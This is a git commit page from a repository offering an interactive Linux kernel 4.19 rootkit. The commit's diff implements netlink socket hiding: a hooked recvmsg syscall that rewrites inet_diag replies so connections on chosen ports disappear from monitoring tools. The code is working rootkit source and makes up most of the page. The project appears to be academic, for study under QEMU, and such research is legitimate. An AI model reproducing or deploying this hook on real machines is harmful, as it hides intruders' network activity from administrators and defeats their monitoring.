linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 05e6f954a28901e2758fda4bdcab1e245ca41d47
parent c86324fe007db905056448b4a2260fbdfc7cd236
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 13 Dec 2020 04:31:15 +0100

initial netlink hiding implementation

Diffstat:
Msrc/sockhide.c | 46++++++++++++++++++++++++++++++++++++++++++----
Msrc/sockhide.h | 2+-
2 files changed, 43 insertions(+), 5 deletions(-)

diff --git a/src/sockhide.c b/src/sockhide.c @@ -1,6 +1,7 @@ #include <linux/kernel.h> #include <linux/seq_file.h> #include <net/inet_sock.h> +#include <linux/inet_diag.h> #include <linux/byteorder/generic.h> #include "common.h" @@ -16,7 +17,7 @@ port_list_t hidden_ports = { port_list_t_ptr hidden_ports_tail = &hidden_ports; -static asmlinkage ssize_t (*sys_recvmsg)(int, struct user_msghdr __user *, unsigned); +static asmlinkage ssize_t (*sys_recvmsg)(struct pt_regs *); static int (*tcp4_seq_show)(struct seq_file *seq, void *v); static int (*udp4_seq_show)(struct seq_file *seq, void *v); @@ -113,7 +114,16 @@ find_port_in_list(port_list_t_ptr head, port_t port, proto proto) { port_list_t_ptr i; for (i = head; i; i = i->next) - if (i->port == port && i->proto == proto) + if (proto == -1) { + if (i->port == port + && (i->proto == tcp4 + || i->proto == udp4 + || i->proto == tcp6 + || i->proto == udp6)) + { + return i; + } + } else if (i->port == port && i->proto == proto) return i; return NULL; @@ -161,9 +171,37 @@ remove_port_from_list(port_list_t_ptr list, port_t port, proto proto) } asmlinkage ssize_t -g7_recvmsg(int fd, struct user_msghdr __user *msg, unsigned flags) +g7_recvmsg(struct pt_regs *pt_regs) { - return sys_recvmsg(fd, msg, flags); + size_t i; + ssize_t ret, len; + struct nlmsghdr *nh; + + if ((len = ret = sys_recvmsg(pt_regs)) < 0) + return ret; + + nh = (struct nlmsghdr *) + ((struct user_msghdr *)pt_regs->si)->msg_iov->iov_base; + + while (NLMSG_OK(nh, len)) { + int src = ntohs(((struct inet_diag_msg *)NLMSG_DATA(nh))->id.idiag_sport); + int dst = ntohs(((struct inet_diag_msg *)NLMSG_DATA(nh))->id.idiag_dport); + + if (!(list_contains_port(&hidden_ports, src, -1) + || list_contains_port(&hidden_ports, dst, -1))) + { + nh = NLMSG_NEXT(nh, len); + continue; + } + + int alignment = NLMSG_ALIGN(nh->nlmsg_len); + for (i = 0; i < len; ++i) + ((char *)nh)[i] = ((char *)nh)[i + alignment]; + + ret -= alignment; + } + + return ret; } //seq and v include all the info we need diff --git a/src/sockhide.h b/src/sockhide.h @@ -26,7 +26,7 @@ void unhide_sockets(void); void hide_port(port_t, proto); void unhide_port(port_t, proto); -asmlinkage ssize_t g7_recvmsg(int, struct user_msghdr __user *, unsigned); +asmlinkage ssize_t g7_recvmsg(struct pt_regs *); bool list_contains_port(port_list_t_ptr, port_t, proto); port_list_t_ptr find_port_in_list(port_list_t_ptr, port_t, proto);